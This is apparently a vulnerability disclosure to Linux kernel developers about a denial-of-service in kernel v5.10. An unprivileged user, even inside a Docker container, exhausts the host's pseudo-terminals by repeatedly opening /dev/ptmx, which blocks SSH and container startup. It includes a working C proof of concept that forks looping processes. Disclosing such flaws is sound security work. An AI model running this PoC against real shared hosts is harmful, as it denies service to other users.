Hi, our team has found a problem in fs system on Linux kernel v5.10, leading to DoS attacks.
The pseudo-terminals can be opened by normal user can be exhausted by one singal normal user by calling syscall such as open. A normal user keeps opening/dev/ptmx to trigger ptmx_open, which calls devpts_new_index and increases pty_count. In a couple of seconds, the pty_count limit is reached, and other normal user’s ptmx_open operations fail.
In fact, we try this attack inside a deprivileged docker container without any capabilities. The processes in the docker can exhaust all normal user’s pseudo-terminals on the host kernel. We use a machine with 16G memory. We start 4 processes to open /dev/ptmx repeatedly. In total, around 3072 number of pseudo-terminals are consumed and other normal user can not use pseudo-terminals.
The consequences are severe as pty devices are widely used by various applications such as SSH connection. As a result, all SSH connection attempts to any other container will fail due to the failed pseudo-terminal-open. Even worse, the host-machine cannot start any new containers, as the connections to a new container are denied due to the same error.
The following code shows a PoC that takes 3072 number of pseudo-terminals, while other normal user can not use pseudo-terminals. We evaluate the PoC on intel i5 CPU physical machine + Linux kernel v5.10.0 + Ubuntu 18.04 LTS + Docker 18.06.0-ce.
-----------------------------------------------
#include<stdio.h>
#define _XOPEN_SOURCE
#include<stdlib.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<sys/ioctl.h>
int main(){
for(int j=0;j<=4;j++){
int pid = fork();
if(pid == 0){
for(int i=0;;i++){
int mfd = open("/dev/ptmx",O_RDWR);
}
sleep(1000);
}
}
sleep(10000);
return 0;
}
-----------------------------------------------
Looking forward to your reply!
Nanzi Yang
